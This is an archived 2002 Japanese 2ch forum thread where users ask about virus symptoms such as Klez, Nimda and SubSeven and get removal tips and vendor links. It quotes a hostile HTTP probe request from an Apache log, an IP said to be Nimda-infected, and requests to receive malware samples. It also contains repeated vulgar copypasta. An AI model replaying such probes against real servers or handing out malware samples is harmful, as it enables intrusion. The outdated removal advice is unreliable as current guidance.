他にもチェックマークの欄などにも異常がおきています。
これってウイルスでしょうか？
使いにくいので誰か助けてください・・・・・お願いします。

>>417 質問するときはOSなど環境書けよ。
http://homepage2.nifty.com/winfaq/fontstrouble.html

win98SEです。
CPU=ｾﾚﾛﾝ466、64MB のｼｮﾎﾞｼｮﾎﾞです。

>>418
どうもです。そのサイトとてもありがたいです。

すいません。

今朝、ＪＮＢ銀行に接続すると、なぜか、
ＤＥＬＬのアメリカに、何度やっても接続したのですが、
これは、ウイルスに感染が原因なのでしょうか？
それとも、トロイの木馬なのでしょうか？
レジストリを、盗まれているとか、言われたのですが、
何のことか良く分りません。


７時３０分には、接続できました。
ＷＩＮ　ＭＥで、　ウイルスバスター２００２が、入っています。
全ドライブ検索では、何も出ませんでした。

何か、分かる方、お願いします。

>>418
神！あなた神！！

治りました！

ttp://www.watch.impress.co.jp/internet/www/article/2002/0417/mcaf.htm

これってどうなのでしょう？

>>422 McAfeeはシステムに対する安定性で不評だからなあ。インストする
人(人柱）が増えて、調子良さそうなら検討してみてもよいかもね。

でも、どんな情報が共有されるのかはきちんと告知されないとスパイウェ
ア扱いを受けるかもね。

apacheにこんなログが大量に残ってました。
これってなんかのウイルスでしょうか？


207.33.111.34 - - [15/Apr/2002:16:21:26 +0900] "HEAD%00 /%20HTTP/1.0%0D%0
A%0D%0AAccept%3A%20tdtrgifrfs/../../index.html%3fcndxiwcwiqftq=/../uglratsfgm
cvisjskeukercjtpkirxqrirkzrfvrbrwunxuybjpsfyaqrtyawdazngeimbhazdubgipswfrxjg
(中略：同じような文字列が18行くらい続く）
orbeljokpwfomnoxtctikdenuuvplrbd/.././%42%42%2d%44%4e%42%44/./ HTTP/1.0" 501 1916

>424
バッファオーバーフロー狙ってるのかなと。
サーバ関係はよく分からないので、スマソ。

間抜けなことに共有フォルダをTCP/IPで開けっ放しにしてしまって、
気がついたらチャンコロがアクセス中･･･

すぐにぶった切って共有を閉じましたが、
ニムダのemlファイルを大量に残してくれました。

それでexeファイルを調べたら1つ書き換えられているのを発見したんです。
オリジナルと比べて4kくらい大きい。

とりあえずトレンドマイクロのオンラインスキャンとアンチドート・スーパーライトには
まったく反応せず。未知のウィルス？たぶんバックドアの類だと思いますが。

解析まではちょっとよーやらんので、
だれかこの謎のファイルをばらしてくれる人いませんか？

最近、実況板が心卑しい読売ファンに荒らされています。
明日から直接対決。マナーを守って、楽しく応援しましょう。
一人でも多くの阪神ファンのご参加とご協力をお願い申し上げます。

　 ∧＿∧　　　 　∧＿∧　　　∧＿∧　　　∧＿∧　　　　　 ∧＿∧
　 (　´∀｀）　 　　（　´ー｀）　　（　｀∀´）　　（　ﾟ ∀ﾟ ）　　　　（　＾∀＾）
　（　　　　つ┳━∪━━∪━∪━━∪━∪━━∪━┳⊂　 　 　つ
　｜ ｜　|   ┃　 が ん が れ ！　た い が あ す！　  ┃　｜ ｜ ｜
　（_＿）＿）   ┻━━━━━━━━━━━━━━━━┻　（_＿）＿）

● スポーツ実況板 → http://live.2ch.net/dome/

>>426
いません。

先日ＭＸでFlash MX６を落としたところ、中身はファイル名が文字化けした
意味不明なファイルが２つと、インストールファイルが入っており、
インストールしたら期限切れのトライアル版だったので、削除しました。
しかし、１つのファイルがゴミ箱までは行くものの、ゴミ箱から消えてくれません。
「ファイルが削除できません：ファイルが見つかりません。ファイルがすでに削除されているか。。」
と言うメッセージがでてきます。
やはり、これはウイルスなのでしょうか？
誰か知っておられる方いらっしゃいましたら教えてください。

あとスレ違いだったらスイマセン。

プロ野球オールスター人気投票！ﾏﾂﾘだﾜｼｮｰｲ!
http://choco.2ch.net/test/read.cgi/news/1019188835/

MXは自己責任。

ナマでパコパコ！！！！

インターネット＝ソープランドのマンコ
パソコン＝チンコ

これでもナマでヤリますか？

淋、蔵まみれになりますか？

ノートン買え!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!

>>429

コマンドプロンプトでの削除が難しい場合、[スタート]−[ファイル名を指定して実行] で
winfile を起動し、ここから削除してください。(ファイルマネージャの操作方法は
エクスプローラとほとんど同じです。なお、Windows 2000/XP に winfile はありません。)

>>429

ああ、それと、そのファイルはウイルスじゃないので安心してください。

ノートンでウイルススキャンしたら「IFrame.Exploit」というものに
感染していていました。修復も出来なかったので全て削除したんです
けど、これってどんなウイルスなんでしょうか？ウイルス辞典とかに
もなかったんですが…。

>>406
エディタは何を使ってますか？

秀とか、その他エディタは%SYSTEM%TEMPにテンポラリファイルを
作る傾向があります。
そのファイルが悪さをしてるようにみえます。

>>435
http://www.symantec.com/region/jp/sarcj/cgi-bin/virauto.cgi?vid=10735　あんまし語ってないけど…
もしかして古いInternet Explorer使ってないか？
http://www.fs-support.yamada.co.jp/df/v-descs/v-descs2/iframe.htm

２NDマシンでアプリのインストールをして、再起動したら
OS起動後(ログオン後）、HDDに激しくアクセス。デスクトップのアイコンが消えた
り、使用中のソフトにアクセスできないというエラーが出ました。
フォルダのみを残して全ファイルが削除されているし。
しらべたら「W32.Whiter.Trojan」でした・・・

>>437
ありがとうございます。ＩＥは6.0で
updateもしてるんですが…。

>>439
IEのパッチ当ては関係無いんじゃ？
つまりゴミを仕込んだhtmlファイルを（パッチ導入済みで影響を受けなかったとしても）、アンチウイルスソフトの方でブロックしたから、そんな表示が出たってだけかと思うけど。

これってろくにパッチ当てしていない人のために、ワクチンベンダーが個別に対応したって事だと。
しかし何故Symantec情報で、「感染場所がcom」なんだ？
訳わからん。

(コピペにレスするアホなのはわかってるが)

dome（スポーツ実況板）は
野球・サッカーは板違いであり
巨人も阪神も目糞・鼻糞なんだが

>>441は>>427

>440
レスありがとうございます。ノートンでは

Unknown0124.data 圧縮ﾌｧｲﾙの中C:\WINDOWS\TEMP\mep11E3.TMP
には IFrame.Exploit ｳｨﾙｽが感染しています｡
このﾌｧｲﾙは検疫されました｡

と出ました。感染はしてないけど、アンチウイルスソフトが
反応したってことでしょか？
なんにせ、よこまめにスキャンしてて良かったです…。

どうやら、ひょんな事からウイルスをもらってしまったようなんですが
検出出来ないもので、さらに時限式だそうです。
いつかは分かりませんが、いずれＨＤＤ全消去という事になるそうです。
こうなってしまうと、バックアップとかする方法はないでしょうか？
ちなみに、ウイルスバスターでは検出されませんでした。

>>444
>どうやら、ひょんな事からウイルスをもらってしまったようなんですが
この部分をもっと詳しく教えてくれないと答えようがない。

見ず知らずの他人から｢転送｣してもらいました、といえば大体分かりますかね。

俺も知らない奴からのメールにW32.Klez.E@MMが付いていて、それを削除
しようとしたらEdMaxのゴミ箱mbxがIFrame.Exploitに感染してるとNorton
が表示したのでビビッタ

ttp://ime.nu/ime.nu/ime.nu/www.42ch.net/PictureGeneral/img-box/img20020324142939.gif

これってウイルス付きURLなんですか？

メールを送受信したら、何かを受信したのですが
「受信トレイ」には何も受信していませんでした。
しかし、「マイドキュメント」とかの表示を「Webページ」に
していたのいが、全て解除されていました。
何かに、感染してしまったのでしょうか？

>>444
バックアップを取ろうにも、バックアップしたデータの中にウィルスが
まぎれ込むかもしれないので迂闊に動けない、という事を言っている？

>>448
違う。

>>449
OutlookExpressの事を言っているのだと思うが(ちゃんと書けよ)。
OEは使っていないので知らんが、症状を聞くかぎりウィルスではない。

>>446 WinMXとはっきり書け。
「HDぜんぶ消去した上ズタズタに！！ウィルス ２台目」
http://pc.2ch.net/test/read.cgi/sec/1012296560/
↑なぜかsage進行になってる

>>450
そのとうりで

>>454
どんなデータを保存したいかによる。
残したいファイルの拡張子教えてくれれば判断できるのだが。

>>455
どっちにせよ、MXだから、以下放置で。

>454
ダウソ板に逝け。

なんか、私のPC(OSはWindows2000)から時々蛙の鳴き声がするよう
になったのですが、このようなウィルス、ワーム、いたずらソフトってあ
るのでしょうか？
このPCは私一人で使っています。
メールは使ってませんが、Flashは専用プレイヤーで見たりします。
最近は怪しいファイルをダウンロード、実行してません。
googleで検索してもそれらしい情報はありませんでした。

in98-NECです。
McAfee のプリインストール版4.03a
エンジンバージョン4.070を使用してたのですが
エラーが頻繁に出るため再セットアップしました。
でも直りません。不定期にこのエラーが出てきます。
例外ODがVXDVMM(01)＋00005B01の0028:C0006B01で発生しました。
VXDVMM(01)＋00008CDFの0028:C0009CDFからの呼び出しです
アンインストールしたのですが、他に何かできませんか？
スレ違いでしたらすみません。誘導お願いします。

訂正-Win98です。

>>458
アンインストールしたらエラーは出なくなった？それとも未だ出る？

>>458
それはマカフィーから乗り換えなさいという神からのお告げです。
http://pc.2ch.net/test/read.cgi/software/1001838214/l50のスレを見ると分かりますが、
色々と不具合を起こすと言われているので。

ノートンかバスターに乗り換えましょう。

>>457
先ず疑うのはサウンドの設定かな・・・
蛙の声は何かのイベント(マウスクリックとか)に連動してる？

>>461
ココも。
http://ton.2ch.net/sec/kako/994/994010282.html

>>460
レスありがとうございます。
アンインストールした直後も
何回かエラーが出てました。
今日はまだ出ていませんが‥
>>461
リンクありがとうございます！

>>463
ありがとうございます!
今から行ってきます〜〜

こんにちは。メールの件名が「Border」とかかれた添付ファイル付きのものは、
なんというウィルスでしょうか教えてください。

>>464

何か、結構メジャーな問題なのか・・・
http://www.google.com/search?q=VXDVMM&hl=ja&btnG=Google+%8C%9F%8D%F5&lr=lang_ja

ちなみに、vxdvmm っていうのは Mcafee のスキャンエンジンの名前？
Ctrl + Alt + Del でタスクマネージャー出すと表示されてる？

>>466
添付ファイル名は？

すみません。もう消してしまったので、情報がそれしかありません。
しかし、今日あて先不明のメールがかえってきましたが、
送った覚えはありませんでしたし、知らないアドレスでした。
それも件名が「Border」でした。

----------------
>>462
特にイベントや時刻に連動してるようには見えません。
みなさんご存知ないようなので、ウィルス、ワームってことは
なさそうですね。

また気がついたことがあったら報告します。

http://www.zakzak.co.jp/top/top0419_3_14.html
ＰＣ使ったこと無い奴がきめてるのはこわいね。

>>471
>さらに、コンピューターの記録を捜索したり、差し押さえができるように
>法体系を整備。電磁的記録棄損罪、電子計算機等使用業務妨害罪に
>準備罪を新設するほか、コンピューターウイルスなどの「不正プログラム」
>の製造、保有、譲渡などの行為を処罰対象とする。
おぃおぃ、漏れのウィルスコレクションも違法になるのかよ・・・

>>471
俺みたいな厨房のために色々保存して検証してくれてる神々まで規制の対象になるのか…
はっきり行って規制した方がウィルスが蔓延するんじゃないかな…

>461さんのリンク先に書かせていただきましたので、
何かご存知の方いらっしゃったらお願い致します。
>>467
ありがとうございます!
スキャンエンジンとかよくわかりません‥
タスクとは左下の事ですか？
そこにはウイルススキャンのアイコンはありません。
マルチになってしまうので消えます(汗

チェルノブイリことCIHの発病日が近くなってきました。
ウィルススキャンしましょ。
マザーボードのBIOSから破壊されることもあります。

http://www.geocities.co.jp/Bookend-Ango/2352/

ヲイ聞いてくれよ
(C) 2002, ORICON CO.,LTD. All Rights Reserved.ってタイトルのメールの添付ファイル開けちったら、
Nortonシリーズがすべて起動しなくなった。
これってウイルスじゃねーの？なんでロリじゃなかったオリコンなの。みんな気をつけとけｖ
どっか修復ファイルねーの？まじで死ぬぎゃ
誰か愛の手をへるぷみー


どこにもないし(@@;)

>>477
スタート→検索→ファイルで、添付ファイル開けた直後に出来たファイルを書いて味噌。

KLEZとか、アンチウイルスソフトの機能を停止させるvilliかと。
というか、トレンドマイクロのオンラインスキャンなら、Active Xコントローラーから動かすから利用可能だけど。
でもスキャン中に、villiのメールを送付するかもね。
メーラーのアドレス帳を空にしてから実行してみそ。

>>477
このへんからどーぞ。
http://www.symantec.com/region/jp/sarcj/data/w/w32.klez.e%40mm.removal.tool.html
http://www.trendmicro.co.jp/klez/tool.asp

っつか検索の画面すら出なくなっちまったよ
かわいい犬が一匹いるだけだｗ
XPなんてつかってるからかよ！オンラインスキャンさえできないし
普通ならメール開けたときにアンチウイルス起動するはずなのに
起動せんかったっつーことはまだ発見されてないんじゃないの？
つかいものにならんなSymantecさんよ
ちなみにウイルス定義は最新ですよ

>>480
復元ポイント。

(C) 2002, ORICON CO.,LTD. All Rights Reserved.
というタイトルのウイルスについて情報求ム

>>482
というか件名は、感染元のローカルのファイルから抽出した文字列を使っただけのような気が。

>４３３
レスありがとうございます。
でも、あれから即効バックアップとって再セットアップしてしまって。。。

知り合いがウイルスに感染してしまいました。
その人はマカフィー入れてるんだけど感染後ウイルススキャンのｅｘｅが消されたそうですｗ
再インストールしてもすぐｅｘｅは消されるらしいんです。
他の症状は、ＭＳＮエクスプローラーが使用出来なくなり、アドレス帳に登録してる
人にウイルスをばらまいてるみたいです。
添付ファイルを削除したから添付ファイル名がわかんないんですがこういった症状のウイルスの話
聞いた事あります？？？
今添付ファイル名を確認してもらってるのでわかったら書き込みます。
知ってる人いたら教えてください！！

>>485
KLEZ.Eかな? 亜種が多いので良くわからん。
http://www.symantec.com/region/jp/sarcj/data/w/[email protected]
専用スレ
http://pc.2ch.net/test/read.cgi/sec/1018248786

＞486
ありがとうございます！！
どうもそうみたいですね。
でも、最悪な事にすでにパソコン起動しなくなって再インストール中らしいです。
その再インストールも出来ないようですがｗ
情報どうも！！

>>487
というか。
そこまで逝ったら、データファイル救出後に、フォーマットしてからクリーンインストールっしょ。

見覚えのないアドレスからメールがきて、開けてしまいました・・・。
件名：Deskjet 882C
添付ファイル：ATT00004.txt
というメールでした。
いきなりなにかダウンロードしたみたいなんですが、
それ以後、ＣＰＵ使用率が１００％になってしまいます。
（１０秒おきぐらいに）
今わかることは、知らないアドレスのドコモの携帯に
height.exeというファイルを添付して送ってしまっていたこと、
タスクマネージャーを見るとWinkpla.exeというのが、
ＣＰＵ使用率１００％になるということぐらいです。

これは、なんかヤバイウイルスに感染したのでしょうか。
なにか対処法はありますでしょうか？

>>489
オンラインウイルスチェックしてみ

>>489
「ワームはサービスとして起動されるのでCTLR+ALT+DELのタスクマネージャー上には
実行中のプログラムとして表示されません。」

おあいにくさま

>>489
KLEZ系っしょ。
スタート→regeditから、「Winkpla.exe」ってサブキーがあるか検索して、片っ端から削除。
Safe Modeで起動して、Winkpla.exeを削除。
それからどっかでアンチウイルスソフトの体験版でもDLして、検出&削除しれ。

コレクション再開したんで、気が向いたら漏れに下さい。

>>490
Trend Microというところでやってみましたが、
普段使っているexeファイル含めて５０個ぐらいでました。
これ全部感染してるということですか？

>>491
初心者ですので詳しいことはわかりませんが、
ワームというウイルスなんですかね？

>>492
レスどうもです。
regeditにＬＥＧＡＣＹ_ＷＩＮＫＰＬＡというのがあるんですが、
これを消すってことでしょうか？削除できませんってでますけど・・・。
それと、サブキーとかわかりません・・・。

>>493
>普段使っているexeファイル含めて５０個

こういう事。
>ワームは各種アプリケーションの構成モジュール（EXEファイル）をウイルスコードで上書きして感染する場合があります。

というか、メールの添付ファイル、下さい。

>>492
削除できない、か。。。SafeModeから、って手もあるのかな。まあいいや。

あのですね。
あらゆるアプリがもうハカーイされてます。だからウイルス感染ファイル削除後に、全てのexeファイル等を再導入しる必要がありまして。
ATOKやIMEのユーザー辞書、メーラーのアドレス帳とメール、ブラウザのお気に入り、そしてその他のデータファイルをMOにすぐコピーするようお勧めします。

http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_KLEZ.G
とりあえず上記のURLから「3288fix_klezV310.com」を拾ってきて、実行しれ。

ナマでパコパコ！！！！

インターネット＝ソープランドのマンコ
パソコン＝チンコ

これでもナマでヤリますか？

淋、蔵まみれになりますか？

ノートン買え!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!

Klezに感染したマシンで、OutlookExprerssアカウント設定の「POPサーバアドレス」「(POPサーバ)ログイン名」が書き換えられている現象に出くわしました。
これってKlezの仕業なのでしょうか？、それとも他の作用？
ワクチンベンダーサイトではそれらしき情報を見つけられなかったのですが...

>>498
メアドを吊るすときはfusianasanしなさい。

ウイルスバスターは書き換えることがあるけど。
とにかく感染したら再インストールして、パッチを当てなおす。

会社の同僚からメールで相談を受けたのだが、
「"a special powerful tool" という添付の付いたメールが
会社の某重役から届いた」
とのこと。

>>338-339 で概出の「powerful tool」と同一のウィルス(?)
らしいが、トレンドマイクロやシマンテックのページを見ても
見つけられませんでした。
同僚も「ウィルスだと怖いから開いていないよ」と書いている
から、とりあえず急を要する事態ではないのですが、どんな
ウィルスか判らないと気持ちが悪いし、某重役のPCが感染している
となると、システム部門に対応を依頼する必要があるので、何か
詳細をご存じの方はご教示いただきたく、よろしくお願いします。

>>500
件名がランダムな文字列の組み合わせだからじゃないのか？
「a ＊ ＊ tool」っしょ。

http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_KLEZ.G&VSect=T

KLEZ系はネットワーク（というかLAN）感染するよ。
OS入ってるドライブをフルアクセスの共有にしている奴は、簡単に壊滅する。

ちなみに漏れが似たようなのがあるのにKLEZ系だと判断したのは、今の流行だからっす。

>>501-502
早速の回答ありがとうございます。

みなさんに質問したいのですが
昨晩変なメールが届いてそれを開いて以来
WINを立ち上げるたびに
「プログラム開始エラー
メモリ不足のため・・・・・・を読み込めませんでした」
と表示されノートパソコンがメモリの使いすぎで熱くなったり
ネットにつなぐと勝手にどっかとアクセスしてるらしくランプが
点滅したりしています
これってなんのウィルスですか。

変なアドふんでからメールの送信とかの項目が表示されなくなりました〜！！
ファイルからは送信できるようなのですが、
これは何かのウィルスに感染してるのでしょうか？
また、ウィルス感染の場合は初期化しなければ解決できないのでしょうか？
誰か教えてください〜！

>>504
存じません。
それだけの情報では、誰も何も答えられないでしょう。

>>505
ウイルスチェックをしろ。その書き込みだけじゃ限定できない。

ウィルスチェックってどうやるんですか

MCAFEE VirusScan初めて使ったんですけど
取りあえずスキャンしても普通に終わりました。
このままメール送信したらその人にウィルス感染させちゃうかな〜？

もしわかる人がいましたら教えてください。
現象に関しては>>504 と同じ現象です。
現象後はハードディスクのアクセスも頻繁に行われるようになり（仮想メモリへのアクセスか？）
処理自体もかなり重たくなっています。
対象ファイルをウィルスバスター２００２体験版で検索したところウィルスではない
と判定されています。
ウィルスによる情報漏えいが怖いのでオンラインスキャンは行えない状態です。
もし同じ現象で対処された方がいましたら対象法を教えてください

>>510
体験版じゃパターンが古いからだめ。

>>510
該当するメールの件名、本文、添付ファイル名、添付ファイルのサイズ、OS、起動しているプロセス名は？

>>510
こんな手もある。
未感染PCにアンチウイルスソフト導入して、検索エンジンと定義ファイルを最新にする。
共有を、フルアクセス（書き込み可能）にしないでおく、絶対。

感染PCの共有を、全てのドライブでフルアクセスにする。

それぞれをクロスケーブルで直接接続。んでスキャン。

>>511-513
情報ありがとうございます。
自宅のパソコンが使えない為ネットカフェより書き込みをしておりますので
添付ファイルの詳細（サイズなど）はわかりません。
今わかっている情報は
ＯＳ：windows98
メーラー：ベッキー2.0
件名：Please try again
添付ファイル：mirabix[1].exe
本文：よくわからない英文字が羅列
です。

※ＰＣは１台のみのためＬＡＮでの検索はできません

>>514
トレンドマイクロのKLEZ.Gの＜詳細＞ページに、その件名が記載されていますね。
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_KLEZ.G&VSect=T

各種の症状が一致するならば、＜概要＞ページの「3288fix_klezV310.com」(Ver.3.10)を試したらどうでしょうか。

それと、KLEZ.Gは（挿入型か上書き型かは不明ですけど、EXEファイルに感染します。
ということで、自宅PCの各種アプリケーションは（KLEZ.Gならば）お亡くなりになってるかも。
駆除後にこれらのEXEファイルも一緒に削除されるかもしれません（試してないけど）。
その場合は、各種アプリの再インストが必要だと思います。

またネットワークから切り離したという処置は、犠牲者を増やさないための適切な処置でしたね。

>>515
ありがとうございました。
重要なファイルがありませんのでフォーマットと再セットアップを行おうと
思います。

>>516
IMEのユーザー辞書とか、救出してMOに入れた方がいいですよ。
それとKLEZ.Gを実験パソに感染させて挙動を観察したいんで、もし気が向いたら添付ファイルを下さい。

いましがた
FPIIF J3R.bat　79.7KB
FPIIF J3R.doc 506KB
メールの容量783KB
ヘッダーに
Comments:
Comments:
Comments:
Comments:
Comments:
と５行の謎の英語。
送られてきたアドレスはＯＣＮのサーバーを使っている人みたいです。

どんなのか分りますでしょうか？

>518
添付ファイル名からみてなんとなくKlezな気が。

これで４通目だ
--Z95s7703769Y99w3Os7v861a1okkN8LD36iy
Content-Type: application/octet-stream;
name=Web.exe
Content-ID: <U3ppQ104R439s48D2>
Content-Transfer-Encoding: base64
↑これってワーム？毎回メアドが違う。でも
Received: from newford.it.uu.net (newford.it.uu.net [212.4.0.14])
こんなふざけたドメインから来てるんだよなあ…

オンラインウィルス検索で見つかったTROJ_OPENME.Bというウィルス。
どんなものか検索して調べてみたんだけど英語で書かれていて
わかりません。どなたか分かる人いますか？↓検索結果
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=TROJ_OPENME.B

ポップアップ広告が出るんだってー

IDOL TOP 100っていうメールが来るんだけど・・・・・・
Scrの添付付きで121KB・・・・・。
即効削除したけどどっからきてるんだか恐くて開けなかったんだけど。

差出人gem 件名HEIGHT ウイルスらしいんですが、すぐ削除しました。
なにこれ？

この２つのサイト　あやしそうだけどウイルスとか感染するのかな？

ttp://www.subculture.com/sexparty.html
ttp://paranoiacwww.jimpunk.com/__________/paranoiac.shtml

つまらない質問でスミマセン。
Whiterとやらを実行してしまった場合、ファイル復活ソフトを
使用しても無駄なのでしょうか？

このようなソフトを購入しようと思っています。
http://www.finaldata.ne.jp/finaldata.html

レジストリにWhistler %System%\whismng.exe -next
もなかったので、既に実行済みということみたいですが・・・

>>526 発病症状
>W32.Whiter.Trojan が発病すると、ハードディスク上にあるファイルす
>べての削除を開始します。ファイルごとに、内容を0バイトのデータに書
>き換え、その後ファイルを削除します。これにより、特殊なツールを使わ
>ない限り、データの復元が非常に困難になります。

一旦内容を書き換えた後に削除しているので基本的に復活不能と思ってよい。
上記ソフトが「特殊なツール」に当たるのかは知らぬ。

>>526 マルチ？http://tmp.2ch.net/test/read.cgi/download/1019446859/l50

Download
【復活希望！】実行後、全HDDを消去、削除される
http://tmp.2ch.net/test/read.cgi/download/1019446859/

もせとjpgが全部スクリプトファイルに書き換えられたぁーーーー！！！
お宝画像がぁぁぁーーーーーーー！！ヽ(`Д´)ﾉ ｳﾜｧｧﾝ

>>529 直前すら読まずに書き込んでるのか。ここへはもう来るな。

初心者ですが、ウイルス対策はどのソフトがいいのでしょう？
ウイルスバスター、ノートン・・・悩んでます。
低価格で使いやすいものが希望です。性能はどこも似たりよったりですか？

>>532　雑誌なんかに散々書かれているだろう。
ウィルス定義のアップデートのしやすさでノートンアンチウィルスを薦め
ておく。

>>466さんと同じ、差出人不明・件名が「Border」のメールが来た！
やっぱりウイルスかなぁ？捨てちゃおう。

件名・・・RedMeasure V4
添付ファイル名・・・tv-asahi.co[1].pif

今日の午後くらいからやたらこんなメールが来ます。
送信元は取引先など。これ、何ですか？

とりあえず私はMac使いなんですけどね。

>>533
ありがとう

普段あまり使わない社内用メール1つだけに、今日だけで怪しいメールが3件きました。
件名が、「How are you」で、添付ファイルが、celeb2[1].pif　というのと、
件名が、「Re:How are you」で添付ファイルが、ALT.scr
件名が、「Fuckyou()」で、添付ファイルが、the[1].bat
というのです。
恐らく、一度だけ載せた某掲示版のメールから来たのかもしれません。
一応、私はMACなので、大丈夫かと思いますが、これらのウイルス(?)に
心当たりのある方はいませんか?
今日だけ、何故??って感じで、無気味です。

>>537
http://www.symantec.com/region/jp/sarcj/data/w/[email protected]

サーカムっぽいね。マックには影響ありません。

昨夜から今日にかけて６通の怪しげなメールが届きました。
webメールのアドレスを某掲示板に書き込んだので
そこが原因というのはまちがいないですが、そこから先は？？
ひやかしメールは来てないし「ウイルスを送ろう！」的なサイト
又は掲示板が存在するのでしょうか？

差出人が違う６通のメール（３通に関しては発信元アドレスが明確です。）
【件名】
Hi,spice girls' vocal concert
LANGUAGE　←２通
A powful tool
END XXXCOUNTER.COM CODE
A special excite game

>>539
KLEZ。

218.217.51.137
↑
富士通のサイト？、Nimdaに感染してない？
アクセスログ見たら、やたらとポートスキャンらしき形跡が……。

>>541
踏んだ。削除失敗した。Nimda.Aだった。
悲しいので寝る。

>>542
アンチウィルスの最新定義入れてないの？（汗

>>541
富士通運営ではあるが、InfoWeb だべ

>>544
今Whoisしてみたらそうみたいね。
ちょっと厨な質問申し訳ないんだけど…
とりあえず踏んでみたらノートンで
「ファイルは修復されました」
「このファイルは修復できません」
「ファイルへのアクセスが拒否されました」
の3通りのレポートが見れたんだけど、
これは、PCに被害はなかったと思っていいのかな？

脳豚ってやつは、妙なメッセージを吐くようだなぁ。o
「ちょっと経過観察しましょう」
ってやぶ医者のようだ（w
こっちは、Java, JavaScript オフで、ActiveX 不能なんで、
にんともかんとも…

>>546
そうですか……。
とりあえず、最新定義ファイルを使ってのスキャンに
引っかからないので、問題ないと思うことにします。

はじめて２ｃｈにカキコします
先程、ＭＸで落とした
(アプリ)WinMX 強制DLパッチ(こっそりとDOMできる）（・∀・）ｲｲ!! .lzh　
53.395バイト　というファイルをEXPLZHから解凍しようとしたら
ノートンＩＳが作動して検疫しました。
ウィルスプログラムなんでしょうか？
今から　落としてはいけないリストを探しに行ってきます(^^;)

あ、すいません、548の結果報告です。
そのzipファイル内にはReadme.txtと実行ファイル（名前忘れた(^^;)）が
あったんですが、TXTは普通に読めました。
実行ファイルを解凍しようとすると、ノートン作動。
調べたらBacdoor.SubSeven22（トロイの木馬）でした。
その後、検疫→削除し、もう一度ノートンでそのZIPファイルをスキャンし
ました。初めてのウィルス体験だったんで保存しようと思ってたんですが
再起動後そのZIPファイルを見ると、Readme.txtファイルだけ残ってて
実行ファイルは削除されてました(^^;)　ノートンちゃんと仕事してます（笑）

今、ハブアナイスデイという名前のウイルスに感染しました。
漏れのウイルスバスターはそのファイルを隔離したんですけど
削除はできないのですか？

ファイルのJS_SPAWNという名前でした・

インターネット＝ソープランドのマンコ

ナマでパコパコやるな！！！！

インターネット＝ソープランドのマンコ
パソコン＝チンコ

これでもナマでヤリますか？

淋、蔵まみれになりますか？

ノートン買え!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!

>>543
>アンチウィルスの最新定義入れてないの？
やっとりますが、当然。

「ファイルを開かないでスキャンを続ける」、にすればいいだけなんだけど。

なんか昨日から突然、変なメールばかり、どこかの掲示板から流出しているのだろうけれど、一体なんなんだ。
件名 : A excite game
添付ファイル : plat.exe
This is a very excite game
This game is my first work.
You're the first player.
I wish you would like it.

と、本文メッセージ。
課金システムか、ウイルスかしらんが、当方ＭＡＣにつき、まるで意味なし。
他にも同じメール受けた人います?

>>554
Klezのスレッドを読みなされ

>>554
件名は"A"なんだね、"An"ではないのね？

もし、お知恵を拝借できればと思ったので書き込みさせてください。
数日前に、MAILER-DAEMONから送信エラーが何通かとどきました。
いずれも私が送ったメールについてのエラーではなく（家族でもありません）
送信先は全く知らないアドレスで、しかも私と同一プロバイダのものです。
アカウントを適当な名前にしているようです。
最初、私のメールアドレスを使って誰かがメールを送っているのかと思い
プロバイダにメールで問い合わせてみましたが
サポートの方にも同じメール（エラーメール）が届いたという事
私のPCがウイルスに感染しており、勝手にメールが送られているのではないか
という主旨の返事がとどきました。
そこで、オンラインスキャンをかけてみましたが、なにも検出されません。
これは本当にウイルスかどうか、よろしかったら情報をください。
成りすましメールという疑いを捨て切れていないのです。
私のPCはWin95でメールソフトはOE4.72（バージョン情報に書いてありました）
IE4.01を使っています。
古いですｹﾄﾞ。

エラーメールの内容です

Hi. This is the qmail-send program at （エラーメール送信元）
I'm afraid I wasn't able to deliver your message to the following addresses.
This is a permanent error; I've given up. Sorry it didn't work out.

<○○○@×××.ne.jp>:
Sorry, no mailbox here by that name. (#5.1.1)

--- Below this line is a copy of the message.

Return-Path: <私のアカウント名>
Received: (qmail 25967 invoked from network); 18 Apr 2002 16:28:18 +0900
Received: from unknown (HELO ming21) (61.149.25.8)
by （メールサーバー名） with SMTP; 18 Apr 2002 16:28:18 +0900
From: （私のアカウント名）
Subject: Advertisement
To: ○○○@×××.ne.jp
Content-Type: multipart/alternative; boundary="=_NextPart_000_0018_01C1A1B3.E2C7FE20"
MIME-Version: 1.0
Date: Thu, 18 Apr 2002 15:24:35 +0800
X-Priority: 3
X-Library: Caretop Library
X-Mailer: CSM2.8

This is a multi-part message in MIME format

--=_NextPart_000_0018_01C1A1B3.E2C7FE20
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

=D5=E2=CA=C7=D2=BB=B8=F6HTML=B8=F1=CA=BD=B5=C4=D3=CA=BC=FE

--=_NextPart_000_0018_01C1A1B3.E2C7FE20
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><FRAMESET border=3D0 frameBorder=3D0 frameSpacing=3D0=
